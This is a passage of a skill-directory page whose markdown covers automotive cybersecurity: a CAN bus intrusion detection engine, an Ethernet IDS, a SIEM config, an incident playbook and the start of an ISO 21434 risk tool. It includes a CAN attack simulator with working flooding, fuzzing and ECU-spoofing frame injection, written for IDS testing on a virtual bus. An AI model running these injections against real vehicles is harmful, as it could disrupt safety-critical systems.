[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M735M1NDN9G7PHVEAS2PD6J2":3,"skill-same:01M735M1NDN9G7PHVEAS2PD6J2":47},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":18,"linkOnly":19,"markdownContent":20,"markdownBody":21,"frontMatter":22,"refName":26,"commitSha":27,"skillDirectory":28,"forksCount":29,"repositoryHtmlUrl":30,"repositoryHomepageUrl":6,"ownerHtmlUrl":31,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":32,"install":33,"resources":46},"01M735M1NDN9G7PHVEAS2PD6J2","automotive-cybersecurity",null,"Automotive Cybersecurity expertise. Covers 6 topics: Intrusion Detection Prevention, Iso 21434 Compliance, Penetration Testing Automotive, Secure Boot Chain, Secure Software Development.","pangzhenying2025\u002Fhermes-automotive-skills","pangzhenying2025","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F213717646?v=4","01M735F4ESJ0SM29HHRG810PS8","01M735F4FX3N7R55KGY8AYBRZ0",11,"MIT","https:\u002F\u002Fgithub.com\u002Fpangzhenying2025\u002Fhermes-automotive-skills\u002Fblob\u002Fmain\u002Fskills\u002Fautomotive-cybersecurity\u002FSKILL.md",[],[],"2026-11-11 15:11:14",false,"---\nname: automotive-cybersecurity\ndescription: >\n  Automotive Cybersecurity expertise. Covers 6 topics: Intrusion Detection Prevention, Iso 21434 Compliance, Penetration Testing Automotive, Secure Boot Chain, Secure Software Development.\ntags: [automotive, automotive-cybersecurity]\n---\n\n# Automotive Cybersecurity\n\n## Intrusion Detection Prevention\n\n# Intrusion Detection & Prevention Skill\n\n## Overview\n\nExpert skill for implementing IDS\u002FIPS (Intrusion Detection\u002FPrevention Systems) in automotive networks. Covers CAN bus anomaly detection, network traffic analysis, SIEM integration, honeypot deployment, and incident response playbooks.\n\n## Core Competencies\n\n### IDS\u002FIPS Architecture\n- **Network-based IDS (NIDS)**: Monitor CAN, FlexRay, Ethernet traffic\n- **Host-based IDS (HIDS)**: Monitor ECU system calls, file integrity\n- **Anomaly Detection**: Machine learning for baseline behavior\n- **Signature-based Detection**: Known attack patterns\n- **Prevention Mechanisms**: Frame filtering, rate limiting, isolation\n\n### Detection Techniques\n- **Statistical Analysis**: Abnormal message rates, timing violations\n- **Protocol Validation**: Malformed frames, invalid DLC\n- **Behavioral Analysis**: Unexpected ECU communication patterns\n- **Entropy Analysis**: Randomness in payload data\n\n## CAN Bus Intrusion Detection System\n\n### CAN IDS Implementation\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nCAN Bus Intrusion Detection System\nReal-time anomaly detection for automotive CAN networks\n\"\"\"\n\nimport can\nimport time\nimport statistics\nfrom collections import defaultdict, deque\nfrom datetime import datetime, timedelta\nimport json\n\nclass CANIDSEngine:\n    \"\"\"Core CAN IDS detection engine\"\"\"\n\n    def __init__(self, can_interface: str = 'can0', window_size: int = 100):\n        self.interface = can_interface\n        self.bus = can.interface.Bus(channel=can_interface, bustype='socketcan')\n\n        # Message statistics per CAN ID\n        self.msg_stats = defaultdict(lambda: {\n            'count': 0,\n            'last_timestamp': None,\n            'intervals': deque(maxlen=window_size),\n            'dlc_values': deque(maxlen=window_size),\n            'payloads': deque(maxlen=window_size)\n        })\n\n        # Learned baseline (normal behavior)\n        self.baseline = {}\n        self.alerts = []\n\n        print(f\"=== CAN IDS Engine Initialized ===\")\n        print(f\"[INFO] Interface: {can_interface}\")\n        print(f\"[INFO] Window size: {window_size}\")\n\n    def learn_baseline(self, duration_seconds: int = 300):\n        \"\"\"Learn normal CAN traffic baseline (5 minutes)\"\"\"\n        print(f\"\\n=== Learning Baseline (mode) ===\")\n        print(f\"[INFO] Duration: {duration_seconds} seconds\")\n        print(f\"[INFO] Capturing normal traffic...\")\n\n        start_time = time.time()\n        message_count = 0\n\n        while (time.time() - start_time) \u003C duration_seconds:\n            msg = self.bus.recv(timeout=1.0)\n            if msg is None:\n                continue\n\n            self._update_statistics(msg)\n            message_count += 1\n\n            if message_count % 1000 == 0:\n                elapsed = int(time.time() - start_time)\n                print(f\"[INFO] {message_count} messages captured ({elapsed}s)\")\n\n        # Compute baseline statistics\n        self._compute_baseline()\n\n        print(f\"\\n[PASS] Baseline learning complete\")\n        print(f\"[INFO] Total messages: {message_count}\")\n        print(f\"[INFO] Unique CAN IDs: {len(self.baseline)}\")\n\n    def _update_statistics(self, msg: can.Message):\n        \"\"\"Update statistics for received message\"\"\"\n        stats = self.msg_stats[msg.arbitration_id]\n        stats['count'] += 1\n\n        # Calculate inter-arrival time\n        if stats['last_timestamp'] is not None:\n            interval = msg.timestamp - stats['last_timestamp']\n            stats['intervals'].append(interval)\n\n        stats['last_timestamp'] = msg.timestamp\n        stats['dlc_values'].append(msg.dlc)\n        stats['payloads'].append(bytes(msg.data))\n\n    def _compute_baseline(self):\n        \"\"\"Compute baseline statistics from learned data\"\"\"\n        print(f\"\\n[INFO] Computing baseline statistics...\")\n\n        for can_id, stats in self.msg_stats.items():\n            if stats['count'] \u003C 10:\n                continue  # Insufficient data\n\n            # Interval statistics\n            intervals = list(stats['intervals'])\n            interval_mean = statistics.mean(intervals) if intervals else 0\n            interval_std = statistics.stdev(intervals) if len(intervals) > 1 else 0\n\n            # Expected DLC\n            dlc_mode = max(set(stats['dlc_values']), key=list(stats['dlc_values']).count)\n\n            # Payload entropy (randomness)\n            payloads = list(stats['payloads'])\n            entropy_mean = statistics.mean([self._calculate_entropy(p) for p in payloads])\n\n            self.baseline[can_id] = {\n                'message_count': stats['count'],\n                'interval_mean': interval_mean,\n                'interval_std': interval_std,\n                'interval_min': interval_mean - (3 * interval_std),  # 3-sigma\n                'interval_max': interval_mean + (3 * interval_std),\n                'expected_dlc': dlc_mode,\n                'entropy_mean': entropy_mean,\n                'payloads_sample': payloads[:10]  # Store samples for comparison\n            }\n\n            print(f\"  CAN ID 0x{can_id:03X}: \"\n                  f\"interval={interval_mean*1000:.2f}ms±{interval_std*1000:.2f}ms, \"\n                  f\"DLC={dlc_mode}, \"\n                  f\"entropy={entropy_mean:.2f}\")\n\n    def _calculate_entropy(self, data: bytes) -> float:\n        \"\"\"Calculate Shannon entropy of payload\"\"\"\n        if len(data) == 0:\n            return 0.0\n\n        from collections import Counter\n        import math\n\n        counter = Counter(data)\n        length = len(data)\n\n        entropy = 0.0\n        for count in counter.values():\n            p = count \u002F length\n            entropy -= p * math.log2(p)\n\n        return entropy\n\n    def detect_anomalies(self, msg: can.Message) -> list:\n        \"\"\"Detect anomalies in received message\"\"\"\n        anomalies = []\n        can_id = msg.arbitration_id\n\n        if can_id not in self.baseline:\n            anomalies.append({\n                'type': 'UNKNOWN_CAN_ID',\n                'severity': 'HIGH',\n                'description': f'New CAN ID 0x{can_id:03X} not seen during baseline',\n                'timestamp': msg.timestamp\n            })\n            return anomalies\n\n        baseline = self.baseline[can_id]\n        stats = self.msg_stats[can_id]\n\n        # Check 1: Inter-arrival time anomaly\n        if stats['last_timestamp'] is not None:\n            interval = msg.timestamp - stats['last_timestamp']\n\n            if interval \u003C baseline['interval_min']:\n                anomalies.append({\n                    'type': 'MESSAGE_FLOODING',\n                    'severity': 'HIGH',\n                    'description': f'CAN ID 0x{can_id:03X} flooding: '\n                                 f'interval {interval*1000:.2f}ms \u003C expected {baseline[\"interval_min\"]*1000:.2f}ms',\n                    'timestamp': msg.timestamp,\n                    'can_id': can_id\n                })\n\n            elif interval > baseline['interval_max']:\n                anomalies.append({\n                    'type': 'MESSAGE_SUPPRESSION',\n                    'severity': 'MEDIUM',\n                    'description': f'CAN ID 0x{can_id:03X} delayed: '\n                                 f'interval {interval*1000:.2f}ms > expected {baseline[\"interval_max\"]*1000:.2f}ms',\n                    'timestamp': msg.timestamp,\n                    'can_id': can_id\n                })\n\n        # Check 2: DLC anomaly\n        if msg.dlc != baseline['expected_dlc']:\n            anomalies.append({\n                'type': 'DLC_ANOMALY',\n                'severity': 'MEDIUM',\n                'description': f'CAN ID 0x{can_id:03X} unexpected DLC: '\n                             f'{msg.dlc} != expected {baseline[\"expected_dlc\"]}',\n                'timestamp': msg.timestamp,\n                'can_id': can_id\n            })\n\n        # Check 3: Payload entropy anomaly (possible injection\u002Ffuzzing)\n        payload_entropy = self._calculate_entropy(bytes(msg.data))\n        entropy_diff = abs(payload_entropy - baseline['entropy_mean'])\n\n        if entropy_diff > 2.0:  # Significant entropy change\n            anomalies.append({\n                'type': 'PAYLOAD_ANOMALY',\n                'severity': 'HIGH',\n                'description': f'CAN ID 0x{can_id:03X} unusual payload entropy: '\n                             f'{payload_entropy:.2f} (expected {baseline[\"entropy_mean\"]:.2f})',\n                'timestamp': msg.timestamp,\n                'can_id': can_id,\n                'payload': msg.data.hex()\n            })\n\n        # Update statistics\n        self._update_statistics(msg)\n\n        return anomalies\n\n    def monitor(self, duration_seconds: int = None, prevention_mode: bool = False):\n        \"\"\"Monitor CAN bus for intrusions\"\"\"\n        print(f\"\\n=== CAN IDS Monitoring ===\")\n        print(f\"[INFO] Prevention mode: {prevention_mode}\")\n\n        start_time = time.time()\n        message_count = 0\n        anomaly_count = 0\n\n        try:\n            while True:\n                if duration_seconds and (time.time() - start_time) > duration_seconds:\n                    break\n\n                msg = self.bus.recv(timeout=1.0)\n                if msg is None:\n                    continue\n\n                message_count += 1\n\n                # Detect anomalies\n                anomalies = self.detect_anomalies(msg)\n\n                if anomalies:\n                    anomaly_count += len(anomalies)\n\n                    for anomaly in anomalies:\n                        self._handle_alert(anomaly, msg, prevention_mode)\n\n                # Status update every 5000 messages\n                if message_count % 5000 == 0:\n                    elapsed = int(time.time() - start_time)\n                    print(f\"[INFO] {message_count} messages, {anomaly_count} anomalies ({elapsed}s)\")\n\n        except KeyboardInterrupt:\n            print(f\"\\n[INFO] Monitoring stopped by user\")\n\n        print(f\"\\n=== Monitoring Summary ===\")\n        print(f\"[INFO] Total messages: {message_count}\")\n        print(f\"[INFO] Anomalies detected: {anomaly_count}\")\n        print(f\"[INFO] Detection rate: {anomaly_count\u002Fmessage_count*100:.2f}%\")\n\n    def _handle_alert(self, anomaly: dict, msg: can.Message, prevention_mode: bool):\n        \"\"\"Handle detected anomaly\"\"\"\n        timestamp = datetime.fromtimestamp(anomaly['timestamp']).strftime('%H:%M:%S.%f')[:-3]\n\n        print(f\"\\n[ALERT] {anomaly['severity']} - {anomaly['type']} @ {timestamp}\")\n        print(f\"  Description: {anomaly['description']}\")\n        print(f\"  CAN ID: 0x{msg.arbitration_id:03X}, DLC: {msg.dlc}, Data: {msg.data.hex()}\")\n\n        # Log alert\n        self.alerts.append(anomaly)\n\n        # Prevention actions\n        if prevention_mode:\n            if anomaly['type'] == 'MESSAGE_FLOODING':\n                print(f\"  [BLOCK] Rate limiting CAN ID 0x{msg.arbitration_id:03X}\")\n                # In real system: configure CAN controller filters\n\n            elif anomaly['type'] == 'UNKNOWN_CAN_ID':\n                print(f\"  [BLOCK] Dropping frames from unknown CAN ID 0x{msg.arbitration_id:03X}\")\n\n            elif anomaly['type'] == 'PAYLOAD_ANOMALY':\n                print(f\"  [ISOLATE] Potential fuzzing\u002Finjection detected - isolating ECU\")\n\n    def export_alerts(self, output_file: str):\n        \"\"\"Export alerts to JSON\"\"\"\n        with open(output_file, 'w') as f:\n            json.dump(self.alerts, f, indent=2)\n\n        print(f\"[INFO] Alerts exported: {output_file}\")\n\n\n# Example: Simulate CAN attacks and detect them\ndef demo_can_ids():\n    import os\n\n    # Setup virtual CAN interface\n    os.system('sudo modprobe vcan')\n    os.system('sudo ip link add dev vcan0 type vcan')\n    os.system('sudo ip link set up vcan0')\n\n    print(\"=== CAN IDS Demo ===\")\n    print(\"[INFO] Using virtual CAN interface vcan0\")\n\n    # Create IDS\n    ids = CANIDSEngine(can_interface='vcan0', window_size=50)\n\n    # Simulate normal traffic generator (in separate process)\n    print(\"\\n[INFO] Start normal CAN traffic generator in another terminal:\")\n    print(\"  python3 can_traffic_generator.py --interface vcan0 --scenario normal\")\n\n    input(\"\\nPress Enter when normal traffic is running...\")\n\n    # Learn baseline\n    ids.learn_baseline(duration_seconds=60)\n\n    # Monitor for attacks\n    print(\"\\n[INFO] Now inject attacks using:\")\n    print(\"  python3 can_attack_simulator.py --interface vcan0 --attack flooding\")\n\n    input(\"\\nPress Enter to start monitoring...\")\n\n    ids.monitor(duration_seconds=120, prevention_mode=True)\n\n    # Export results\n    ids.export_alerts('\u002Ftmp\u002Fcan_ids_alerts.json')\n\nif __name__ == \"__main__\":\n    demo_can_ids()\n```\n\n### CAN Attack Simulator (for testing)\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nCAN Attack Simulator for IDS Testing\nGenerates various attack scenarios\n\"\"\"\n\nimport can\nimport time\nimport random\n\nclass CANAttackSimulator:\n    def __init__(self, interface: str = 'vcan0'):\n        self.bus = can.interface.Bus(channel=interface, bustype='socketcan')\n        print(f\"=== CAN Attack Simulator ===\")\n        print(f\"[INFO] Interface: {interface}\")\n\n    def attack_flooding(self, target_can_id: int = 0x123, duration: int = 10):\n        \"\"\"Message flooding attack\"\"\"\n        print(f\"\\n[ATTACK] Flooding CAN ID 0x{target_can_id:03X}\")\n\n        start_time = time.time()\n        count = 0\n\n        while (time.time() - start_time) \u003C duration:\n            msg = can.Message(\n                arbitration_id=target_can_id,\n                data=[0x00] * 8,\n                is_extended_id=False\n            )\n            self.bus.send(msg)\n            count += 1\n            # No delay - flood as fast as possible\n\n        print(f\"[INFO] Sent {count} messages in {duration}s\")\n\n    def attack_fuzzing(self, target_can_id: int = 0x456, duration: int = 10):\n        \"\"\"Payload fuzzing attack\"\"\"\n        print(f\"\\n[ATTACK] Fuzzing CAN ID 0x{target_can_id:03X}\")\n\n        start_time = time.time()\n        count = 0\n\n        while (time.time() - start_time) \u003C duration:\n            # Random payload\n            payload = [random.randint(0, 255) for _ in range(8)]\n\n            msg = can.Message(\n                arbitration_id=target_can_id,\n                data=payload,\n                is_extended_id=False\n            )\n            self.bus.send(msg)\n            count += 1\n            time.sleep(0.01)  # 10ms interval\n\n        print(f\"[INFO] Sent {count} fuzzed messages\")\n\n    def attack_spoofing(self, spoof_can_id: int = 0x789, duration: int = 10):\n        \"\"\"ECU spoofing attack (new CAN ID)\"\"\"\n        print(f\"\\n[ATTACK] Spoofing new CAN ID 0x{spoof_can_id:03X}\")\n\n        start_time = time.time()\n        count = 0\n\n        while (time.time() - start_time) \u003C duration:\n            msg = can.Message(\n                arbitration_id=spoof_can_id,\n                data=[0xDE, 0xAD, 0xBE, 0xEF, 0x00, 0x00, 0x00, 0x00],\n                is_extended_id=False\n            )\n            self.bus.send(msg)\n            count += 1\n            time.sleep(0.02)\n\n        print(f\"[INFO] Sent {count} spoofed messages\")\n\nif __name__ == \"__main__\":\n    import sys\n\n    if len(sys.argv) \u003C 3:\n        print(\"Usage: python3 can_attack_simulator.py --interface vcan0 --attack [flooding|fuzzing|spoofing]\")\n        sys.exit(1)\n\n    interface = sys.argv[2]\n    attack_type = sys.argv[4]\n\n    attacker = CANAttackSimulator(interface=interface)\n\n    if attack_type == \"flooding\":\n        attacker.attack_flooding(target_can_id=0x123, duration=30)\n    elif attack_type == \"fuzzing\":\n        attacker.attack_fuzzing(target_can_id=0x456, duration=30)\n    elif attack_type == \"spoofing\":\n        attacker.attack_spoofing(spoof_can_id=0x999, duration=30)\n    else:\n        print(f\"Unknown attack type: {attack_type}\")\n```\n\n## Ethernet IDS (Gateway\u002FTCU)\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nEthernet-based IDS for Automotive Gateway\u002FTCU\nDeep packet inspection for HTTP, MQTT, SOME\u002FIP\n\"\"\"\n\nfrom scapy.all import sniff, IP, TCP, UDP\nfrom collections import defaultdict\nimport time\n\nclass EthernetIDS:\n    \"\"\"Ethernet network IDS\"\"\"\n\n    def __init__(self, interface: str = 'eth0'):\n        self.interface = interface\n        self.connection_tracker = defaultdict(lambda: {\n            'count': 0,\n            'first_seen': None,\n            'last_seen': None\n        })\n        self.alerts = []\n\n        print(f\"=== Ethernet IDS Initialized ===\")\n        print(f\"[INFO] Interface: {interface}\")\n\n    def packet_callback(self, packet):\n        \"\"\"Process captured packet\"\"\"\n        if IP not in packet:\n            return\n\n        src_ip = packet[IP].src\n        dst_ip = packet[IP].dst\n\n        # Track connection\n        conn_key = f\"{src_ip}:{dst_ip}\"\n        tracker = self.connection_tracker[conn_key]\n        tracker['count'] += 1\n        tracker['last_seen'] = time.time()\n\n        if tracker['first_seen'] is None:\n            tracker['first_seen'] = time.time()\n\n        # Detection rules\n        if TCP in packet:\n            self._check_tcp_anomalies(packet)\n        elif UDP in packet:\n            self._check_udp_anomalies(packet)\n\n    def _check_tcp_anomalies(self, packet):\n        \"\"\"Check for TCP-based attacks\"\"\"\n        tcp = packet[TCP]\n\n        # SYN flood detection\n        if tcp.flags == 'S':\n            src_ip = packet[IP].src\n            syn_count = sum(1 for key in self.connection_tracker\n                          if key.startswith(src_ip) and\n                          time.time() - self.connection_tracker[key]['first_seen'] \u003C 10)\n\n            if syn_count > 100:\n                alert = {\n                    'type': 'SYN_FLOOD',\n                    'severity': 'HIGH',\n                    'source': src_ip,\n                    'description': f'Possible SYN flood from {src_ip} ({syn_count} connections in 10s)'\n                }\n                self._raise_alert(alert)\n\n        # Port scanning detection\n        dst_port = tcp.dport\n        if dst_port > 1024:  # Non-standard ports\n            src_ip = packet[IP].src\n            unique_ports = len(set(\n                key.split(':')[1] for key in self.connection_tracker\n                if key.startswith(src_ip)\n            ))\n\n            if unique_ports > 50:\n                alert = {\n                    'type': 'PORT_SCAN',\n                    'severity': 'MEDIUM',\n                    'source': src_ip,\n                    'description': f'Port scanning detected from {src_ip} ({unique_ports} unique ports)'\n                }\n                self._raise_alert(alert)\n\n    def _check_udp_anomalies(self, packet):\n        \"\"\"Check for UDP-based attacks\"\"\"\n        udp = packet[UDP]\n\n        # SOME\u002FIP message validation (automotive middleware)\n        if udp.dport in [30490, 30491, 30492]:  # SOME\u002FIP ports\n            payload = bytes(packet[UDP].payload)\n\n            if len(payload) \u003C 16:\n                alert = {\n                    'type': 'MALFORMED_SOMEIP',\n                    'severity': 'MEDIUM',\n                    'source': packet[IP].src,\n                    'description': 'Malformed SOME\u002FIP message (too short)'\n                }\n                self._raise_alert(alert)\n\n    def _raise_alert(self, alert: dict):\n        \"\"\"Raise security alert\"\"\"\n        print(f\"\\n[ALERT] {alert['severity']} - {alert['type']}\")\n        print(f\"  {alert['description']}\")\n        self.alerts.append(alert)\n\n    def start_monitoring(self, count: int = 1000):\n        \"\"\"Start packet capture\"\"\"\n        print(f\"\\n[INFO] Starting Ethernet monitoring ({count} packets)...\")\n        sniff(iface=self.interface, prn=self.packet_callback, count=count)\n\n        print(f\"\\n=== Monitoring Complete ===\")\n        print(f\"[INFO] Alerts raised: {len(self.alerts)}\")\n\nif __name__ == \"__main__\":\n    ids = EthernetIDS(interface='eth0')\n    ids.start_monitoring(count=5000)\n```\n\n## SIEM Integration (ELK Stack)\n\n```yaml\n# Logstash configuration for CAN IDS alerts\ninput {\n  file {\n    path => \"\u002Fvar\u002Flog\u002Fcan_ids\u002Falerts.json\"\n    start_position => \"beginning\"\n    codec => \"json\"\n  }\n}\n\nfilter {\n  # Parse CAN IDS alerts\n  if [type] == \"MESSAGE_FLOODING\" {\n    mutate {\n      add_field => { \"severity_score\" => 9 }\n      add_tag => [\"dos_attack\"]\n    }\n  }\n\n  if [type] == \"PAYLOAD_ANOMALY\" {\n    mutate {\n      add_field => { \"severity_score\" => 8 }\n      add_tag => [\"potential_injection\"]\n    }\n  }\n\n  # Convert CAN ID to hex\n  ruby {\n    code => \"event.set('can_id_hex', '0x%03X' % event.get('can_id'))\"\n  }\n\n  # GeoIP lookup for external attacks\n  if [source_ip] {\n    geoip {\n      source => \"source_ip\"\n      target => \"geoip\"\n    }\n  }\n}\n\noutput {\n  elasticsearch {\n    hosts => [\"localhost:9200\"]\n    index => \"automotive-ids-%{+YYYY.MM.dd}\"\n  }\n\n  # High severity alerts to Slack\n  if [severity] == \"HIGH\" {\n    http {\n      url => \"https:\u002F\u002Fhooks.slack.com\u002Fservices\u002FYOUR\u002FWEBHOOK\u002FURL\"\n      http_method => \"post\"\n      format => \"json\"\n      content_type => \"application\u002Fjson\"\n      message => '{\n        \"text\": \"🚨 CAN IDS Alert: %{type}\",\n        \"attachments\": [{\n          \"color\": \"danger\",\n          \"fields\": [\n            {\"title\": \"Description\", \"value\": \"%{description}\"},\n            {\"title\": \"CAN ID\", \"value\": \"%{can_id_hex}\"},\n            {\"title\": \"Timestamp\", \"value\": \"%{@timestamp}\"}\n          ]\n        }]\n      }'\n    }\n  }\n}\n```\n\n## Incident Response Playbook\n\n```yaml\n# Automotive Cybersecurity Incident Response Playbook\nincident_response:\n  phase_1_identification:\n    - alert: \"IDS detects anomaly\"\n    - verify: \"Confirm alert is not false positive\"\n    - classify: \"Determine attack type and severity\"\n    - escalate: \"Notify security team and OEM SOC\"\n\n  phase_2_containment:\n    short_term:\n      - action: \"Isolate affected ECU\u002Fnetwork segment\"\n      - method: \"Gateway firewall rules, CAN filters\"\n      - verify: \"Confirm attack traffic blocked\"\n\n    long_term:\n      - action: \"Patch vulnerable software\"\n      - method: \"OTA security update\"\n      - timeline: \"\u003C 72 hours per UN R155\"\n\n  phase_3_eradication:\n    - identify_root_cause: \"Vulnerability analysis, forensics\"\n    - remove_threat: \"Firmware update, key revocation\"\n    - verify_clean: \"Scan for persistence mechanisms\"\n\n  phase_4_recovery:\n    - restore_service: \"Reboot ECU, restore network\"\n    - validate: \"Functional testing, regression testing\"\n    - monitor: \"Enhanced monitoring for 7 days\"\n\n  phase_5_lessons_learned:\n    - document: \"Incident timeline, root cause, actions taken\"\n    - improve: \"Update IDS signatures, patch other vehicles\"\n    - report: \"Notify regulatory authorities (UN R155 requirement)\"\n```\n\n## Best Practices\n\n1. **Layered Defense**: Deploy IDS at multiple layers (CAN, Ethernet, application)\n2. **Baseline Learning**: Capture 24-hour baseline before production deployment\n3. **False Positive Tuning**: Iterate on detection rules to reduce false positives \u003C 1%\n4. **SIEM Integration**: Centralize logs for fleet-wide threat intelligence\n5. **Incident Playbooks**: Pre-define response procedures for \u003C 15 minute MTTR\n\n## References\n\n- NIST SP 800-94: Guide to Intrusion Detection and Prevention Systems\n- ISO 21434: Cybersecurity Engineering (Clause 11: Incident Response)\n- AUTOSAR SecOC: Secure Onboard Communication specification\n- J3061: Cybersecurity Guidebook for Cyber-Physical Vehicle Systems\n\n---\n\n## Iso 21434 Compliance\n\n# ISO\u002FSAE 21434 Compliance Skill\n\n## Overview\n\nExpert skill for implementing ISO\u002FSAE 21434 cybersecurity engineering standard for road vehicles. Covers CSMS (Cybersecurity Management System), TARA (Threat Analysis and Risk Assessment), cybersecurity concept phase, product development, and operations\u002Fmaintenance.\n\n## Core Competencies\n\n### ISO\u002FSAE 21434 Framework\n- **Cybersecurity Management System (CSMS)**: Organizational processes, roles, responsibilities\n- **Concept Phase**: Item definition, cybersecurity goals, threat scenarios\n- **Product Development**: Security requirements, architecture design, verification\n- **Operations & Maintenance**: Incident response, vulnerability management, EOL handling\n- **Supporting Processes**: Risk assessment, security testing, change management\n\n### TARA Methodology\n- **Asset Identification**: Identify critical assets (ECUs, data, communication channels)\n- **Threat Scenario Definition**: STRIDE\u002FDREAD modeling, attack trees\n- **Impact Rating**: ASIL-D alignment, damage scenarios (safety, financial, operational, privacy)\n- **Attack Feasibility**: Elapsed time, specialist expertise, knowledge of item, window of opportunity, equipment\n- **Risk Determination**: Risk = Impact × Attack Feasibility\n- **Risk Treatment**: Avoid, reduce, share, retain\n\n### UN R155 & R156 Alignment\n- **R155**: Cybersecurity management system requirements\n- **R156**: Software update management system requirements\n- **Type Approval**: Demonstration of compliance for vehicle homologation\n\n## ISO 21434 Workflow\n\n### Phase 1: Concept Phase\n\n```yaml\n# Item Definition Template\nitem_definition:\n  item_name: \"Telematics Control Unit (TCU)\"\n  item_id: \"TCU-2024-001\"\n  description: \"4G\u002F5G connected telematics unit with V2X capability\"\n  boundaries:\n    physical: \"TCU ECU, antenna, power supply\"\n    logical: \"CAN, Ethernet, cellular modem interfaces\"\n    temporal: \"Ignition-on to ignition-off, OTA updates\"\n\n  assets:\n    - name: \"Vehicle Location Data\"\n      type: \"Data\"\n      confidentiality: HIGH\n      integrity: MEDIUM\n      availability: MEDIUM\n\n    - name: \"Firmware Image\"\n      type: \"Software\"\n      confidentiality: LOW\n      integrity: HIGH\n      availability: HIGH\n\n    - name: \"Private Key for V2X\"\n      type: \"Cryptographic Material\"\n      confidentiality: CRITICAL\n      integrity: CRITICAL\n      availability: HIGH\n\n  interfaces:\n    - name: \"CAN Bus Interface\"\n      protocol: \"CAN 2.0B\"\n      threat_exposure: MEDIUM\n      security_properties: [\"message authentication\"]\n\n    - name: \"Cellular Interface\"\n      protocol: \"LTE\u002F5G\"\n      threat_exposure: HIGH\n      security_properties: [\"TLS 1.3\", \"certificate pinning\"]\n```\n\n### Phase 2: TARA Execution\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nISO 21434 TARA (Threat Analysis and Risk Assessment) Tool\nPerforms automated threat modeling and risk calculation\n\"\"\"\n\nfrom enum import Enum\nfrom dataclasses import dataclass\nfrom typing import List, Dict\nimport json\n\nclass ImpactLevel(Enum):\n    NEGLIGIBLE = 1\n    MODERATE = 2\n    MAJOR = 3\n    SEVERE = 4\n\nclass AttackFeasibility(Enum):\n    VERY_LOW = 1\n    LOW = 2\n    MEDIUM = 3\n    HIGH = 4\n    VERY_HIGH = 5\n\nclass RiskLevel(Enum):\n    LOW = 1\n    MEDIUM = 2\n    HIGH = 3\n    VERY_HIGH = 4\n\n@dataclass\nclass Threat:\n    threat_id: str\n    name: str\n    description: str\n    threat_type: str  # Spoofing, Tampering, Repudiation, Info Disclosure, DoS, Elevation\n    asset: str\n    impact_safety: ImpactLevel\n    impact_financial: ImpactLevel\n    impact_operational: ImpactLevel\n    impact_privacy: ImpactLevel\n\n    # Attack Feasibility Parameters (ISO 21434 Table A.1)\n    elapsed_time: int  # 0-19 points\n    specialist_expertise: int  # 0-11 points\n    knowledge_of_item: int  # 0-11 points\n    window_of_opportunity: int  # 0-10 points\n    equipment: int  # 0-9 points\n\n@dataclass\nclass RiskAssessment:\n    threat: Threat\n    overall_impact: ImpactLevel\n    attack_feasibility: AttackFeasibility\n    risk_level: RiskLevel\n    risk_value: int\n    treatment: str\n    justification: str\n\nclass TARAEngine:\n    def __init__(self):\n        self.threats = []\n        self.assessments = []\n\n    def calculate_attack_feasibility(self, threat: Threat) -> AttackFeasibility:\n        \"\"\"Calculate attack feasibility per ISO 21434 Annex G\"\"\"\n        total_score = (\n            threat.elapsed_time +\n            threat.specialist_expertise +\n            threat.knowledge_of_item +\n            threat.window_of_opportunity +\n            threat.equipment\n        )\n\n        # ISO 21434 Table G.1 mapping\n        if total_score >= 37:\n            return AttackFeasibility.VERY_LOW\n        elif total_score >= 25:\n            return AttackFeasibility.LOW\n        elif total_score >= 13:\n            return AttackFeasibility.MEDIUM\n        elif total_score >= 10:\n            return AttackFeasibility.HIGH\n        else:\n            return AttackFeasibility.VERY_HIGH\n\n    def calculate_overall_impact(self, threat: Threat) -> ImpactLevel:\n        \"\"\"Determine worst-case impact across all categories\"\"\"\n        impacts = [\n            threat.impact_safety,\n            threat.impact_financial,\n            threat.impact_operational,\n            threat.impact_privacy\n        ]\n        return max(impacts, key=lambda x: x.value)\n\n    def determine_risk_level(self, impact: ImpactLevel, feasibility: AttackFeasibility) -> tuple:\n        \"\"\"Map impact and feasibility to risk level (ISO 21434 Table 9)\"\"\"\n        risk_matrix = {\n            (ImpactLevel.SEVERE, AttackFeasibility.VERY_HIGH): (RiskLevel.VERY_HIGH, 5),\n            (ImpactLevel.SEVERE, AttackFeasibility.HIGH): (RiskLevel.VERY_HIGH, 5),\n            (ImpactLevel.SEVERE, AttackFeasibility.MEDIUM): (RiskLevel.HIGH, 4),\n            (ImpactLevel.SEVERE, AttackFeasibility.LOW): (RiskLevel.MEDIUM, 3),\n            (ImpactLevel.SEVERE, AttackFeasibility.VERY_LOW): (RiskLevel.LOW, 2),\n\n            (ImpactLevel.MAJOR, AttackFeasibility.VERY_HIGH): (RiskLevel.VERY_HIGH, 5),\n            (ImpactLevel.MAJOR, AttackFeasibility.HIGH): (RiskLevel.HIGH, 4),\n            (ImpactLevel.MAJOR, AttackFeasibility.MEDIUM): (RiskLevel.MEDIUM, 3),\n            (ImpactLevel.MAJOR, AttackFeasibility.LOW): (RiskLevel.LOW, 2),\n            (ImpactLevel.MAJOR, AttackFeasibility.VERY_LOW): (RiskLevel.LOW, 1),\n\n            (ImpactLevel.MODERATE, AttackFeasibility.VERY_HIGH): (RiskLevel.HIGH, 4),\n            (ImpactLevel.MODERATE, AttackFeasibility.HIGH): (RiskLevel.MEDIUM, 3),\n            (ImpactLevel.MODERATE, AttackFeasibility.MEDIUM): (RiskLevel.MEDIUM, 2),\n            (ImpactLevel.MODERATE, AttackFeasibility.LOW): (RiskLevel.LOW, 1),\n            (ImpactLevel.MODERATE, AttackFeasibility.VERY_LOW): (RiskLevel.LOW, 1),\n        }\n\n        key = (impact, feasibility)\n        return risk_matrix.get(key, (RiskLevel.LOW, 1))\n\n    def assess_threat(self, threat: Threat) -> 